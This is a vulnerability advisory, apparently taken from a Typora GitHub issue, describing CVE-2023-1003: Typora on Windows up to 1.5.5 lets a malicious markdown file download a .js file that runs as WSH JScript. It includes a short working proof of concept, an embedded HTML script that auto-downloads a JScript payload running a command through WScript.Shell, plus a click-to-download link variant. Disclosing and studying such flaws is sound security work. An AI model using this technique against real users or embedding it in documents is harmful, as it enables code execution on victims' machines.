Headline
CVE-2023-1003: Typora on Windows fails to properly filter WSH JScript, which may result in code execution · Issue #5623 · typora/typora-issues
A vulnerability, which was classified as critical, was found in Typora up to 1.5.5. Affected is an unknown function of the component WSH JScript Handler. The manipulation leads to code injection. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.8 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-221736.
Although typora filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
<!-- auto download !–> <html> <script> var blob = new Blob([‘var WshShell = new ActiveXObject(“WScript.Shell”);var ret = WshShell.run(“calc”);if (ret == 0)WScript.Echo(“You were hacked.”);WScript.Quit();’],{type:’application/js’}); var a = document.createElement(‘a’); a.href = window.URL.createObjectURL(blob); a.download = 'poc.js’; a.click(); </script> </html>
<!-- click to download !–> <a href="http://127.0.0.1:8000/poc.js" download="poc.js">CLICK~~</a>